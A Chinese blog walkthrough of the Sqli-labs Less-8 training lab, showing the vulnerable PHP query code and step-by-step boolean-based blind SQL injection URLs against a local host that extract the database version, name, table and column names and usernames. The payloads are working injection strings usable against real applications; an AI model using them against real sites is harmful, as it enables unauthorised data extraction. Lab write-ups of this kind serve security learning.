zoukankan      html  css  js  c++  java
  • Sqli-labs Less-8 布尔注入

    查看源代码如下

    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    	if($row)
    	{
      	echo '<font size="5" color="#FFFF00">';	
      	echo 'You are in...........';
      	echo "<br>";
        	echo "</font>";
      	}
    	else 
    	{
    	
    	echo '<font size="5" color="#FFFF00">';
    	//echo 'You are in...........';
    	//print_r(mysql_error());
    	//echo "You have an error in your SQL syntax";
    	echo "</br></font>";	
    	echo '<font color= "#0000ff" font size= 3>';	
    	
    	}
    

    可以看出,和less5相比,less8源代码将mysql报错的语句进行了注释,那么这一关报错注入就不行了。可以使用布尔注入或者延时注入。

    此处演示一下布尔注入。

    首先查看一下version()

    http://127.0.0.1/sql/Less-8/?id=1' and left(version(),1)='5' %23

    这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。

    当版本号不正确的时候,则不能正确显示 you are in......

    可以试出数据库的版本号为5.6.17

    我们可以使用burp或者Python脚本来提高效率。

    接下来看一下数据库的长度

    http://127.0.0.1/sql/Less-8/?id=1' and length(database())=8 %23

    长度为8时,返回正确结果,说明长度为8。

    猜测数据库第一位

    http://127.0.0.1/sql/Less-8/?id=1' and left(database(),1)>'n' --+

    Database()为security,所以我们看他的第一位是否 > n,很明显的是s > n,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。

    猜测数据库第二位

    得知第一位为s,我们看前两位是否大于 sn

    http://127.0.0.1/sql/Less-8/?id=1' and left(database(),2)>'sn' --+

    往下的举一反三,最终得知数据库名为security。

    获取security数据库下的表

    http://127.0.0.1/sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

    此处同样的使用二分法进行测试,直到测试正确为止。

    此处应该是101,因为第一个表是email。

    如何获取第一个表的第二位字符呢?我们已经了解了substr()函数,这里使用substr(**,2,1)即可。

    http://127.0.0.1/sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+

    那如何获取第二个表呢?思考一下!

    这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0个开始,获取第一个。那要获取第二个是不是就是limit 1,1!

    http://127.0.0.1/sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+

    此处113返回是正确的,因为第二个表是referers表,所以第一位就是r。

    以后的过程就是不断的重复上面的,这里就不重复造轮子了。原理已经解释清楚了。

    当你按照方法运行结束后,就可以获取到所有的表的名字。

    利用regexp正则注入获取users表中的列

    http://127.0.0.1/sql/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us' limit 0,1)--+

    利用ord()和mid()函数获取users表的内容

    http://127.0.0.1/sql/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

    后面的方法和less 5中的一模一样,这里就不再一一演示了,以后有时间可以写个Python脚本提高注入效率。

  • 相关阅读:
    深度历险:Redis 内存模型详解
    Redis 的 8 大应用场景!
    Java并发计数器探秘
    更改系统环境设置,让alias永远生效
    GoldenGate中使用FILTER,COMPUTE 和SQLEXEC命令
    数据集成实例
    客户视角:Oracle ETL工具ODI
    OGG-00782
    Oracle过程包加密
    Concurrent Request:Inactive phase,No Manager status
  • 原文地址:https://www.cnblogs.com/zhengna/p/12577566.html
Copyright © 2011-2022 走看看